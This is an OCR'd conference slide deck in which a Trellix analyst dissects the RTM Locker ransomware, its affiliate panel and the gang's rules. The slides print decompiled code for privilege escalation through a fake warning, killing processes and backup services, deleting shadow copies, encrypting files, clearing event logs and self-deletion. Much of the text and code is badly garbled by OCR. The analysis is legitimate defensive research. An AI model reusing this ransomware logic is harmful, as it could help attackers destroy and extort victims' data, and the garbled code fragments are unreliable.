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o Max 'Libra’ Kersten (@Libranalysis,
AbOUt me @libra@infosec.exchange)

o Malware analyst and reverse engineer

o Working for Trellix" Advanced Research
Center
o Published DotDumper

o | write blogs about reverse engineering
o Including my free Binary Analysis Course

o My tools are open-sourced on GitHub

o Such as AndroidProjectCreator and the Mobile Malware
Mimicking Framework
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Lifting RTM's vell

All panel related intel comes from
NO7_4_BO7

Login-in page with captcha RTM

Signin
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Adding a new victim

Mame of the target

Revenue

Contact Data

Description

Add
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Strict rules

o No targets within the
CIS region

o Stay out of the
spotlight

o Adhere to "moral”
rules

o Inactivity will result in
a ban

Rules:

- The first and most important! We do not work in the CIS countries!

- It is forbidden to post builds in public, in case of detection, the account will be blocked without payment of funds.

- Any attacks on state bodies are prohibited (in some cases, discuss only with the administration)

- It is forbidden to work in morgues, hospitals (except for dentistry, psychotherapist's offices, etc.), enterprises involved in the development of a COVID-19 vaccine.
- Act as an intermediary and give out your builds to outsiders, impersonating us.

- Communication with the administration or support strictly through TOX

- Indicating a link to your chats in public is punishable by a ban

-Accounts are deleted fol in 10 days, if for some reason you are not active, write a ticket with a notification
Managing and cre g chats

To create a chat in the panel, you need to encrypt the network with the previously received build from the support or admin, then go to the panel

press the button to add target, in the drop-down window fill in all the data and confirm. After that, a chat will be created in your panel,

All created chats are encrypted for security purposes.
Important:

The data when filling out the target is important, since in further communication with the target, a link to the blog will be indicated where their data will be published.
We do not store the leaked date on our servers for security reasons.

Additionally:

If an advert believes that target encryption will cause a resonance, then we are always open to dialogue and have experience working with such targets,
also with the withdrawal of funds after payment. Communication will be carried out not in the panel, as well as providing access to correspondence and change
any traces to the name RTM Team.
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Start

Technical analysis

Elevate privilege

Initialising the debug
console

Shut down selected
processes and
Services

v

Empty the recycle bin
and delete shadow

copies

Mount logical
volumes as drives

Start multi-threaded
file encryption

Change the wallpaper

!

Clear event logs

Delete the locker
executable
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o Repeatedly requests
to be relaunched

o The relaunch has
administrative
permissions

AllocatelndInitializeSid
{(PSID_IDENTIFIER AUTHORITY) &;

/% Success is a non-zerc walus */

T e =]

if {3idIsInitialised '= 0x0) {

CheckTckenMembership (110

}

if {

}

if (isAdministrator == FRLSE) |

f* ComSpec is an envirconment variable which refers to
$5ystemBoot3\system3i2icmd.exe */

GetEnvironmentVariablel ("ComSpec”, cmd, 0x104) 7

{

] wyow

HO %“"You mmst restart the program to resclwe a critical error\"™ && start Y"\" \

i+
= GetMocduleFileNameR (NULL, £il=Fath, 0x104) ;
if ({result '= 0x0) {
lstrcati{shesll 3, {LBCSTR) sbuffer);

do |
/% Buns cmd.exe /c with the fake "warning” and restarts the sample with
administrative permissicns {dus to "runas" as the coperaticn) without a window
vy
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otherwise an error cccurred. This loop is endless, until the execution is

successful */
} while {{int)sh=11E:
f* WABNING: Subroutine does not return */

ExitProcess (0x0);

. TrelliX

FETUrn;

turnValue < 0x21});




The delbug console

oActivated with the
"-debug” CLI flag argc = 0x0:
oPrints debug argv = (LPCSTR ¥*)parselArgs (rawlArgs, &argc):
messages during 1f ({argc = 0Oxl) |
runtime result = lastrcmpl{*argv, "-debug”™) ;
oProbably used during 1 (zesule o= BLURL)
testing getConscleCutputdandle() ;
]
]
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Environmental awareness

o Iterates over all
running processes

o Terminates selected
processes

hinapshot = CreateToolhelp32Snapshot (TH32C5_SNAFALL, CURRENT FROCESS)

f* Initialise the size priocr to the Process32First call, otherwise it fails, as
stated in the documentaticon */

Process32First (hSnapshot, eprocessEntry) ;

cessHandle != FALSE) |

pointerTable->end0fProcesslist;

ist = end0fProcesslist + -0xl, -0xl < (int)end0fProcessList) |

ameComparison == EQURL) &&
CpenProcess (FROCESS _TERMINATE, Oxd,processEntry.th32ProcessID),
hSnapshot copy, hProcess != NULL)}) |

cess, 0x9);

teratingProcessHandle = Processa32Next (hSnapshot, eprocessEntry) ;

CloseHandle (hSnapshot) ;
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Environmental awareness

sgl.exe oracle.exe ocssd.exe dbsnmp.exe synctime.exe agntsvc.exe
isqlplussvc.exe xfssvccon.exe mydesktopservice.exe ocautoupds.exe encsvc.exe firefox.exe
tbirdconfig.exe mydesktopgos.exe ocomm.exe dbengb0.exe sgbcoreservice.exe excel.exe
infopath.exe msaccess.exe mspub.exe onenote.exe outlook.exe powerpnt.exe
steam.exe thebat.exe thunderbird.exe visio.exe winword.exe wordpad.exe

notepad.exe
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Environmental awareness

|terates over a” g_—f = OpenSCManagerW (HULL,

wger I'= NULL) {

Ser\/ices 5:-:'12:'55:".'1:

while (endlfServic

eslist

=3List = =end0fS=r

slist = end0fSe

hisrvice = OpenderviceA(hIiCHManager,

Stops selected

services

if [hService I=

NULL) {

result = QueryServiceStatusEx

(hService,5C 5

ControlService (hSsrvice, SEEV
1
CloseServiceHandle (nService) ;
}
}
ClogseServiceHandle (h3CMana

1

ger)

rviceslist + -0xl,

¥ (LBECSTR *) (pointerlabkle-rserviceslist + (int)endlfServic

TATUS PROCESS INFO, (LPBYTE) essrviceStatus,0x24,elo
if {{{result !'= 0x0) s& (serviceStatus.dwCurrentState !'= 0xl)) ==&

{serviceitatus.dwlurrentState !

= pointerTable-»end0fServiceslisty

-0xl < (int)endlfServiceslist) |

ealist ¥
CoblLlol

0x4)

cal_2d4);
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Environmental awareness

VSS sql svc$ memtas

MepPoCs sophos veeam backup

GxVss GxBIr GxFWD GxCVD

GxCIMgr Def\Watch ccEvtMgr ccSetMgr
SavRoam RTVscan QBFCService QBIDPService
Intuit.QuickBooks.FCS QBCFMonitorService YooBackup YoolT
zhudongfangyu stc_raw_agent VSNAPVSS VeeamTransportSvc
VeeamDeploymentService VeeamNFSSvc PDVFSService BackupExecVSSProvider

BackupExecAgentBro BackupExecDiveciMediaSer
BackupExecAgentAccelerator wser vice BackupExecJobEngine

BackupExecManagementServ BackupExecRPCServic
ice e ArcSch2Sve AcronisAgent

CASAD2DWebSvc CAARCUpdateSvc
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Taking out the trash

Empties the recycle bin

SHEmptyRecycleBinW (ITULL, NULL, SHEE
removeShadowCopies():

Removes shadow copies

Note the previously stopped Volume
Shadow Copy Service ("vss”)
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Drive Iteration

_memset (unmountedDrives, 0x0, 0x68) ;7

count = 0x0: driwves[5] =

o lIterate over all drives S — drives[6] -
iN QWERTY-order i = 0x0; et
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Viounting all volumes

Each unused drive
letter is potentially
used to mount a
volume

This ensures
maximum impact of
the file encryption

lteration over the
unused drive letters
IN backwards order

napshot_copy = HeapAlloc (hPFrocessHeap 2,0Warl, SVard)
unction = HeapFree exref;
(hSnapshot '= NULL) {

Volume = FindFirstVolumeW (lpszVolumseNams, 0x2000) »

{

% If no suitable drives were found from the start, or once all driwves have been

iterated over, break the loop */

it = 0x0) break:

(count

= GetVolumePathlamesForVolumeNameW

rea111t
LTolull

Traes Al 1maellame mas i Tnlnmelathamas (wTE TrrrRRae+t11 e T armore ) =
lpszVolumeName, lpszVolumePathilames, 0x78, elpcchReturnlength]) ;

/% The driwe is & single letter, a colon, and a kackslash, 3o the minimum length

iz 3. The length is set by the return valus of the lstrlenW function.

Success i3 a non-zero valus Y/

if ((result 0x0)

(volumePathlength = lstrlenW(lpszVolumePathNames), volumePathlength = 0x3)) [

A% Decrement the drive count, a2 it iz moved over backwards v/

count + -0xl;

SetVolumeMountPointW (unmountedDrives [count] , lpszvo
}
r clumeName , 0xTEELE) ;

zzult = FindNextVolumeW (hVolums, lpszV
/% Succes is non-zerc valus */
} while (result != 0x0);
/% Close the handle */f
FindVolumeClose (hVolums) ;
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Remote drive support

o Remote drives are handled appropriately

drivelype = GetDrivelvypeW ({LPCWSTR)pszDest)
if (driwveType == DRIVE REMOTE) {
DStack>40 = 0x100;

¥ Shouldn't fail as this only hinges on the allcoccation of memory */
lpEemotelName = (LPCWSTR) calloc base wrapper (0x100,0x2);

=motellams == NULL) goto LAB 0040730b;
_memset (lpRemoteName, 0x0, aD5tack532[0] * 0x2);
HWiletGetClonnectionW { (LPCWSTR) (pszlest + 0x2), lpEsmotellams,

=

_free wrapper(pszDest);
parsefoldersAndEncryptFiles (lpEemotellams) ;

}

elae |
/¥ The driwve type is NOT remote %/

parsefoldersAndEncryptFiles { (LPCWSTR) pszDest) ;
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File traversal

o Excluded folders and
file names

o The file extension
(including the dot) of
65 characters (Ox41)
IS randomly
generated, and is
excluded to avoid
double encryption

filePath = (LPCWSTR)Heapllloc{pProcessHeap,value 3,wvalue 10000) 7

{£ilePath !'= NHULL) {
latrcpyW(fileFath,fullFilePath);
latrcatW(fileFath, (LECWSTR)&s_“*);
hFirstFils = FindFirstFileW(fileFath, (LFWIN32 FIND DATAEW)&filseFindData);
if (hFirstFile != (HANDLE)INVALID HRNDLE WALUE) {
do {
folderPointerOffset = 0x0;
do {
latrcmpiW (local_233, * (LBCWSTE *) ({int}excludedFolders + folderPointerlffset));

sult == EQUAL) goto LAB nextFile;

if (compari

f% Increments by four, as the 32-kit binary uses 4 bytes per integer, and thus

pointer &/

folderPointer0ffset = folderPointerOffset + Oxd:

/% Iterates 21 times, squal to the 3ize of the excludedFolders array Y/
1 while (folderPointerOffset < 0x54);

th, 0x8000,L"%$1s%\4%13™,fullFil=PFath copyl,local 233);

wnsprintfW (fil=E
f% If the given file is a file ¥/
if [{(byte)fileFindData & 0x10) == 0x0) {
result = lstrempW (local 238,L"How To Restore Your Files.txt™);
/% If the file name is not equal to the ransom note file name, continue,

otherwise it is ignored */

if (resultc !'= EQUAL) {
lpString = PathFindExtensionW(local 238);

length = latrlenW (1pString);
if (length !'= 0x4l) {
encryptFile (filsPath);

else |

parseFoldershndEncryptFiles {fil=Fath);
}

LAB nextFile:

hifexFile = FindNextFileW(hFirstFile, (LFWIN32 FIND DATAW)&fileFindDatsz);
} while (hNexFile != INVALID HARNDLE):

FindClose (hFirstFile):
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File traversal

windows appdata application data
boot google mozilla
program files program files (x86) programdata
system volume information tor browser windows.old
intel msocache perflogs
x64dbg public all users
default
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Random file extension

oGenerated using
Rt1GenRandom, Which is
exported as

SystemFunction036 if (pAdvapi32 == NULL) |
phAdvapiii2 = LoadLibrarvA("advapi32.dll™);
oThe randomly e -
generated buffer size is o pRmEERenden = AL L o
32 (OXQO) pEtlieenRandom = GetProchAddress (pAdvapii2, "SystemFunctionl3e™) ;
!
oEach byte IS twoO (*pEtlGenRandom) (randomBuffer, 0x20);

characters in size
when converted into a
string
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Multi-threaded encryption

o Uses ioctl completion ports
to encrypt files

o Creates a number of
encryption threads based
on the number of
processors (‘cores’) in the
system info

o Files are opened with the
"FILE_FLAG_OVERLAPPED"
flag, and paired with an 10
completion port

o Files larger than 512 bytes
are encrypted

if {hConsclelutput '= NULL) {

inglength = lstrlenW{L"Making threads...");
/¥ pFunction equals WritelonsoleW
unction) {hConsolefutput, L"Making threads...”,

r the following two calls */f

dsStringlength) ;

Warl = systenInfo.dwNumberOfProcessors & Ox2;

if {(hConsoclefutput != NULL) |

rth = latrlenW(L"Making iccp”™):
lefutput, L"Making ioccp™, ingl
{(*pFunction) {hConsolefutput, elpBuffer 004

}

/% The final argument for this call is egqual to two times the
systemInfo.dwlurber0fFrocessors, which specify the maximum amount of threads
which can access this I/0 completion port */

hExistingCompletionFort = CreateloCompletionPort ( (HANDLE) INVALID HANDLE VALUE,NULL, 0x0,0Varl):
1 = IWarl - 0xl) {
cpThread, hExistingCompletionPort, 0x0,NULL) ;

for (; DWVarl '= 0x0;
CreateThread (MULL, 0x0

/% Create two times the amount of systemInfo.dwlNumberOfProcessors threads */

}

h = lstrlenW(L"Crypting files...");

numberCfProcessors = systemlnfo.dwNumberOfProcessors;

wes = FetlogicalDrives();
DAT driwve letter = 0xd40;
if {0x0 < {int)systenInfo.dwNurberOfProcessors) |
de |
CreateThread (NULL, 0x0, encryptionThread, NULL, 0x0, NULL) ;
/% Creats a thread for sach processor M/
systemlnfo.dwNumber0fProcessors = systemlinfo.dwlumberOfProcessors - 0xl;

} while {(svstemInfo.dwNumberQfProcessors != 0x0); I relllx
}




File encryptlon usmg O Completlon ports

if (a I y == 0Oxal) {

lpCompletic :'.If~;'->act10an-y 0xa2;

ReadFlle (lpCompletionKey->hFile, lpCompletionKey->buffer,

. * (DWORD *)¢&lpCompletionKey->bytesToRead, NULL, (LPOVERLAPPED) lpCompletionKey);

o Action key based }
handling

o Handle the file = OxaT if (actionKey == 0xa2) {

o Write ehcrypted data — —::_. £ _ r = lpCompletionk ':~'_'->buffer°
Oxa2 lpCompletionKey->actionKey = 0xa3;
FUN_00402270( (undefined (*) [ )x10] ) lpCompletionKey->randomData, lpBuffer,
O Reﬂame the f||e by numberOfBytesTransferred, lpBuffer);
moving = OX83 WriteFile(lpOverlappe ':->hFJ.le, lpBuffer, number0fBytesTransferred, NULL,
(LPC-VERLnPPED) lpOverlapped);

o Each action key sets
the next action key

if (actionKey == 0Oxa3) {
CloseHandle (lpCompletionKey->hFile);
MoveFileW((LPCWSTR) ¢1pOverlapped->originalName, (LPCWSTR) ¢1pOverlapped->newFileName) ;
free_wrapper(lpOverlapped):
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Changing the wallpaper

rcally = DAT driwve letter + 0xl;
DAT driwve letter = DAT driwve letter + 0xl;
do |

¥ Only set the new wallpaper once the last thread finishes its encryption

acheme */
nurker0fProcessocrs = number0fProcessocrs + -0xl;
if (numker0fProcessocrs = 0x0) {
GetTempPathf (0x104, cempPath) ;
GetTempFileNamedk (T '“".-Ea:-', (LPC5TR) &5_img, 0x0, tempFileNams) ;
hFile = CEEatEFllEH{""}_i;::A =, GENERIC WEITE,CRELTE NEW,NULL,OFEN EXISTING, Ox0,HULL);
if (hFile != (HANDLE)INVALID HANDLE VALUE} |
WriteFile(hFile,pointerTable->wallpaper,pointerTable->wallpaperSize, eD5tackS40, HULL) »
CloseHandle (hFils=);
SystemParametersInfoh

SPI_SETDESEWALLFAFER, 0x0, tempFileName,

r||

FIF UFDATETHNIFTLE SEIF_SEWDCHANGE]) ;

Ln

}

return 0x0; Trelllx



- Your network has been infected by RTM Locker Team
All your documents, photos, databases and other
important files have been encrypted and you are not
able to decrypt it by yourself.
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Countdown
Sleep in the main volid awaitEncryption (woid)
thread until no more
encryption threads are {
running _ . -
1f [(numberOfProcessors = 0x0) |
do |
Sleep({0xcd);
} while (numberOfProcesscors !'= 0x0);:
]
return;
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wvold clearEventLogs (void)

{
HANDLE hEventLog;
int ir
LPCWSTR 1pBackupFileName?

wchar t *loglames [0x3];

1 = 0x0;
logNames [0]
logNlames([l] = L"Application™;

L"5System”;

loglames[2] = L"Security™;
do |

S*¥ The firast argument being null refers to the local machine ¥/
hEventLog = OpenEventLogW (NULL, logNames[1]]);
/Y The bkackup file name is null, meaning no kback-up i3 made %/
ClearEventLogW (hEventlog, lpBackupFileName) ;7
i=1+ 0xl;
} while (i < 0x3);
return;
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Self destruction

"ComSpec”,cmd, 0x104) 5

GetEnvircnmentVariableld(

1f (environmentVariablelength '= 0x0) |
lstrcpyvA (commandirguments, "/c PING -n 5 127.0.0.1 > NUL && del \"");
moduleFileNamelength = GetModuleFileNameA (NULL, moduleFileName, 0x104) ;7

environmentVariablelLength

1f (moduleFileNameLength !'= 0x0) {
Contains all command arguments including the complete module path Y/

II.".l.
lstrcatd (commandirguments, (LPCSTR) ebuffer);
ShellExecutel (NULL, NULL, cmd, commandArguments, NULL, 0x0) ;

SV WABNING: Subroutine does not return v/

ExitProceas(0x0);
TrelliX
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Q&A

For questions, you can also reach
out to me via @Libranalysis,
@libra@infosec.exchange, or Max

Kersten on LinkedIn
TrelhiX
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